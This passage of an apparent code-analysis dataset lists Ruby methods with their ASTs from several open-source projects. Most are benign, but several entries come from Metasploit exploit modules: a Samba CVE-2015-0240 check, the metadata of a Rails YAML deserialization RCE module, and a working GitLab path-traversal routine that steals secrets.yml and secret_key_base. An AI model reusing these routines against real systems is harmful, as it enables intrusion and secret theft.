end","complexity_score":12.0,"ast_json":"{\"type\":\"def\",\"children\":[\"run_host\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"peer\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"rport\"]}]}]}]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[null,\"check_host\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Vulnerable\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"The target is vulnerable to CVE-2015-0240.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Appears\"]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"The target appears to be vulnerable to CVE-2015-0240.\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Detected\"]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The target appears to be running Samba.\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"The target appears to be safe\"]}]}]}]}]}","id":"2090442a-0b82-451f-858f-54f287f0a130"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/instagram/message_text.rb","start_line":4,"raw_source":"def ensure_contact(ig_scope_id)\n    result = fetch_instagram_user(ig_scope_id)\n    find_or_create_contact(result) if result.present?\n  end","complexity_score":5.1,"ast_json":"{\"type\":\"def\",\"children\":[\"ensure_contact\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ig_scope_id\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result\",{\"type\":\"send\",\"children\":[null,\"fetch_instagram_user\",{\"type\":\"lvar\",\"children\":[\"ig_scope_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"result\"]},\"present?\"]},{\"type\":\"send\",\"children\":[null,\"find_or_create_contact\",{\"type\":\"lvar\",\"children\":[\"result\"]}]},null]}]}]}","id":"d0d305cb-fa7e-48ce-9bb7-9bb9c5a12768"}
{"repo_name":"forem","file_path":"./repos/forem/app/models/article.rb","start_line":1255,"raw_source":"def validate_co_authors\n    return if co_author_ids.exclude?(user_id)\n\n    errors.add(:co_author_ids, I18n.t(\"models.article.same_author\"))\n  end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_co_authors\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"co_author_ids\"]},\"exclude?\",{\"type\":\"send\",\"children\":[null,\"user_id\"]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"errors\"]},\"add\",{\"type\":\"sym\",\"children\":[\"co_author_ids\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"models.article.same_author\"]}]}]}]}]}","id":"b42c9c0e-eff6-4547-82b9-e3a58e52bd7d"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/test/template/tag_helper_test.rb","start_line":597,"raw_source":"def test_data_tag_does_not_honor_html_safe_double_quotes_as_attributes\n    assert_dom_equal '<p data-title=\"&quot;\">content</p>',\n      content_tag(\"p\", \"content\", data: { title: '\"'.html_safe })\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_data_tag_does_not_honor_html_safe_double_quotes_as_attributes\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_dom_equal\",{\"type\":\"str\",\"children\":[\"<p data-title=\\\"&quot;\\\">content</p>\"]},{\"type\":\"send\",\"children\":[null,\"content_tag\",{\"type\":\"str\",\"children\":[\"p\"]},{\"type\":\"str\",\"children\":[\"content\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"data\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"\"]},\"html_safe\"]}]}]}]}]}]}]}]}","id":"95f083cf-ee3e-41c7-ab53-534e5a77b3e5"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/gitlab_file_read_rce.rb","start_line":482,"raw_source":"def read_secret_key_base\n    return datastore['SECRET_KEY_BASE'] if datastore['SECRET_KEY_BASE'].present?\n\n    validate_credentials_present!\n    git_lab_client = GitLabClient.new(self)\n    user = git_lab_client.sign_in(datastore['USERNAME'], datastore['PASSWORD'])\n    print_status(\"Logged in to user #{user['username']}\")\n\n    project_a = git_lab_client.create_project(user: user)\n    print_status(\"Created project #{project_a['path']}\")\n    project_b = git_lab_client.create_project(user: user)\n    print_status(\"Created project #{project_b['path']}\")\n\n    issue = git_lab_client.create_issue(\n      project: project_a,\n      issue: {\n        'description' => \"![#{Rex::Text.rand_text_alphanumeric(8)}](/uploads/#{Rex::Text.rand_text_numeric(32)}#{'/..' * datastore['DEPTH']}#{datastore['SECRETS_PATH']})\"\n      }\n    )\n    print_status(\"Created issue #{issue['path']}\")\n\n    print_status('Executing arbitrary file load')\n    moved_issue = git_lab_client.move_issue(issue: issue, target_project: project_b)\n    secrets_file_url = moved_issue['description'][/\\[secrets.yml\\]\\((.*)\\)/, 1]\n    secrets_yml = git_lab_client.download(project: project_b, path: secrets_file_url)\n    loot_path = store_loot('gitlab.secrets', 'text/plain', datastore['RHOST'], secrets_yml, 'secrets.yml')\n    print_good(\"File saved as: '#{loot_path}'\")\n\n    secret_key_base = secrets_yml[/secret_key_base:\\s+(.*)/, 1]\n    if secret_key_base.nil?\n      fail_with(Failure::UnexpectedReply, 'Unable to successfully extract leaked secret_key_base value')\n    end\n\n    print_good(\"Extracted secret_key_base #{secret_key_base}\")\n    print_status('NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read')\n\n    secret_key_base\n  rescue GitLabClientException => e\n    fail_with(Failure::UnexpectedReply, e.message)\n  ensure\n    [project_a, project_b].each do |project|\n      next unless project\n\n      print_status(\"Attempting to delete project #{project['path']}\")\n      git_lab_client.delete_project(project: project)\n      print_status(\"Deleted project #{project['path']}\")\n    rescue StandardError\n      print_error(\"Failed to delete project #{project['path']}\")\n    end\n  end","complexity_score":93.2,"ast_json":"{\"type\":\"def\",\"children\":[\"read_secret_key_base\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SECRET_KEY_BASE\"]}]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SECRET_KEY_BASE\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"validate_credentials_present!\"]},{\"type\":\"lvasgn\",\"children\":[\"git_lab_client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitLabClient\"]},\"new\",{\"type\":\"self\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"sign_in\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"USERNAME\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"PASSWORD\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Logged in to user \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"[]\",{\"type\":\"str\",\"children\":[\"username\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_a\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"create_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_a\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"project_b\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"create_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"user\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_b\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"issue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"create_issue\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project_a\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"![\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[8]}]}]},{\"type\":\"str\",\"children\":[\"](/uploads/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"rand_text_numeric\",{\"type\":\"int\",\"children\":[32]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"/..\"]},\"*\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DEPTH\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SECRETS_PATH\"]}]}]},{\"type\":\"str\",\"children\":[\")\"]}]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Created issue \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"issue\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Executing arbitrary file load\"]}]},{\"type\":\"lvasgn\",\"children\":[\"moved_issue\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"move_issue\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"issue\"]},{\"type\":\"lvar\",\"children\":[\"issue\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"target_project\"]},{\"type\":\"lvar\",\"children\":[\"project_b\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secrets_file_url\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"moved_issue\"]},\"[]\",{\"type\":\"str\",\"children\":[\"description\"]}]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\[secrets.yml\\\\]\\\\((.*)\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secrets_yml\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"download\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project_b\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"path\"]},{\"type\":\"lvar\",\"children\":[\"secrets_file_url\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"loot_path\",{\"type\":\"send\",\"children\":[null,\"store_loot\",{\"type\":\"str\",\"children\":[\"gitlab.secrets\"]},{\"type\":\"str\",\"children\":[\"text/plain\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"RHOST\"]}]},{\"type\":\"lvar\",\"children\":[\"secrets_yml\"]},{\"type\":\"str\",\"children\":[\"secrets.yml\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"File saved as: '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"loot_path\"]}]},{\"type\":\"str\",\"children\":[\"'\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"secret_key_base\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secrets_yml\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"secret_key_base:\\\\s+(.*)\"]},{\"type\":\"regopt\",\"children\":[]}]},{\"type\":\"int\",\"children\":[1]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_key_base\"]},\"nil?\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"str\",\"children\":[\"Unable to successfully extract leaked secret_key_base value\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Extracted secret_key_base \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"secret_key_base\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"NOTE: Setting the SECRET_KEY_BASE option with the above value will skip this arbitrary file read\"]}]},{\"type\":\"lvar\",\"children\":[\"secret_key_base\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GitLabClientException\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_a\"]},{\"type\":\"lvar\",\"children\":[\"project_b\"]}]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"next\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Attempting to delete project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"git_lab_client\"]},\"delete_project\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"project\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Deleted project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},null,{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to delete project \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},\"[]\",{\"type\":\"str\",\"children\":[\"path\"]}]}]}]}]}]},null]}]}]}]}","id":"25b715c7-41e0-4b85-ad56-668174fed3e7"}
{"repo_name":"rspec-core","file_path":"./repos/rspec-core/lib/rspec/core/memoized_helpers.rb","start_line":400,"raw_source":"def let!(name, &block)\n          let(name, &block)\n          before { __send__(name) }\n        end","complexity_score":5.3,"ast_json":"{\"type\":\"def\",\"children\":[\"let!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"let\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"before\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"__send__\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]}]}","id":"efa1037f-353c-49d4-b02f-ffb46adf8482"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/services/suspend_account_service.rb","start_line":66,"raw_source":"def privatize_media_attachments!\n    UpdateMediaAttachmentsPermissionsService.new.call(@account.media_attachments, :private)\n  end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"privatize_media_attachments!\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UpdateMediaAttachmentsPermissionsService\"]},\"new\"]},\"call\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@account\"]},\"media_attachments\"]},{\"type\":\"sym\",\"children\":[\"private\"]}]}]}","id":"8fc3cddc-0a36-4c54-bd5c-5c7951c15b09"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/pages/user.rb","start_line":43,"raw_source":"def click_staff_info_warnings_link(user, warnings_count: 0)\n        staff_counters = page.find(\".staff-counters\")\n        staff_counters.find(\"a[href='/u/#{user.username}/messages/warnings']\").click\n        self\n      end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"click_staff_info_warnings_link\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"user\"]},{\"type\":\"kwoptarg\",\"children\":[\"warnings_count\",{\"type\":\"int\",\"children\":[0]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"staff_counters\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"page\"]},\"find\",{\"type\":\"str\",\"children\":[\".staff-counters\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"staff_counters\"]},\"find\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"a[href='/u/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"user\"]},\"username\"]}]},{\"type\":\"str\",\"children\":[\"/messages/warnings']\"]}]}]},\"click\"]},{\"type\":\"self\",\"children\":[]}]}]}","id":"e629afbb-7c67-4a35-8236-30edd24368ea"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/rails_json_yaml_code_exec.rb","start_line":11,"raw_source":"def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution',\n        'Description' => %q{\n          This module exploits a remote code execution vulnerability in the\n          JSON request processor of the Ruby on Rails application framework.\n          This vulnerability allows an attacker to instantiate a remote object,\n          which in turn can be used to execute any ruby code remotely in the\n          context of the application. This vulnerability is very similar to\n          CVE-2013-0156.\n\n          This module has been tested successfully on RoR 3.0.9, 3.0.19, and\n          2.3.15.\n\n          The technique used by this module requires the target to be running a\n          fairly recent version of Ruby 1.9 (since 2011 or so). Applications\n          using Ruby 1.8 may still be exploitable using the init_with() method,\n          but this has not been demonstrated.\n        },\n        'Author' => [\n          'jjarmoc', # Initial module based on cve-2013-0156, testing help\n          'egypt',    # Module\n          'lian',     # Identified the RouteSet::NamedRouteCollection vector\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          [ 'CVE', '2013-0333' ],\n          [ 'OSVDB', '89594' ]\n        ],\n        'Platform' => 'ruby',\n        'Arch' => ARCH_RUBY,\n        'Privileged' => false,\n        'Targets' =>\t[ ['Automatic', {} ] ],\n        'DisclosureDate' => '2013-01-28',\n        'DefaultOptions' => { \"PrependFork\" => true },\n        'DefaultTarget' => 0,\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n\n    register_options(\n      [\n        Opt::RPORT(80),\n        OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', \"/\"]),\n        OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])\n      ]\n    )\n  end","complexity_score":7.95,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"info\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"super\",\"children\":[{\"type\":\"send\",\"children\":[null,\"update_info\",{\"type\":\"lvar\",\"children\":[\"info\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Name\"]},{\"type\":\"str\",\"children\":[\"Ruby on Rails JSON Processor YAML Deserialization Code Execution\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Description\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module exploits a remote code execution vulnerability in the\\n\"]},{\"type\":\"str\",\"children\":[\"          JSON request processor of the Ruby on Rails application framework.\\n\"]},{\"type\":\"str\",\"children\":[\"          This vulnerability allows an attacker to instantiate a remote object,\\n\"]},{\"type\":\"str\",\"children\":[\"          which in turn can be used to execute any ruby code remotely in the\\n\"]},{\"type\":\"str\",\"children\":[\"          context of the application. This vulnerability is very similar to\\n\"]},{\"type\":\"str\",\"children\":[\"          CVE-2013-0156.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          This module has been tested successfully on RoR 3.0.9, 3.0.19, and\\n\"]},{\"type\":\"str\",\"children\":[\"          2.3.15.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          The technique used by this module requires the target to be running a\\n\"]},{\"type\":\"str\",\"children\":[\"          fairly recent version of Ruby 1.9 (since 2011 or so). Applications\\n\"]},{\"type\":\"str\",\"children\":[\"          using Ruby 1.8 may still be exploitable using the init_with() method,\\n\"]},{\"type\":\"str\",\"children\":[\"          but this has not been demonstrated.\\n\"]},{\"type\":\"str\",\"children\":[\"        \"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Author\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"jjarmoc\"]},{\"type\":\"str\",\"children\":[\"egypt\"]},{\"type\":\"str\",\"children\":[\"lian\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"License\"]},{\"type\":\"const\",\"children\":[null,\"MSF_LICENSE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"References\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"CVE\"]},{\"type\":\"str\",\"children\":[\"2013-0333\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"OSVDB\"]},{\"type\":\"str\",\"children\":[\"89594\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Platform\"]},{\"type\":\"str\",\"children\":[\"ruby\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Arch\"]},{\"type\":\"const\",\"children\":[null,\"ARCH_RUBY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Targets\"]},{\"type\":\"array\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"Automatic\"]},{\"type\":\"hash\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2013-01-28\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultOptions\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"PrependFork\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Opt\"]},\"RPORT\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptString\"]},\"new\",{\"type\":\"str\",\"children\":[\"TARGETURI\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"The path to a vulnerable Ruby on Rails application\"]},{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptEnum\"]},\"new\",{\"type\":\"str\",\"children\":[\"HTTP_METHOD\"]},{\"type\":\"array\",\"children\":[{\"type\":\"true\",\"children\":[]},{\"type\":\"str\",\"children\":[\"HTTP 